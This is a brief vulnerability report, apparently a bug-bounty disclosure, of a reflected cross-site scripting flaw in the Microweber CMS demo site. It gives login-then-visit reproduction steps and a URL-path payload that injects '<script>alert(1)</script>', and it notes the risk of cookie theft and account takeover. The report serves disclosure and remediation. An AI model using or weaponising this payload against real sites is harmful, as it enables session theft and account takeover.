Description

There is a Reflected cross site scripting issue chained using these endpoints:

[1] /admin/content/0/edit
[2] /apiqq</script><script>alert(1)</script>fca4/page

Proof of Concept

1. Login to https://demo.microweber.org
2. Now visit https://demo.microweber.org/demo/admin/content/0/edit
3. Now open this url (in same tab or new):
   https://demo.microweber.org/demo/apiqq</script><script>alert(1)</script>fca4/page

The xss payload will be executed in the browser.

Impact

Cross site scripting attacks can lead to cookies stealing (can be chained to account takeover), redirecting users to attackers controlled malicious websites etc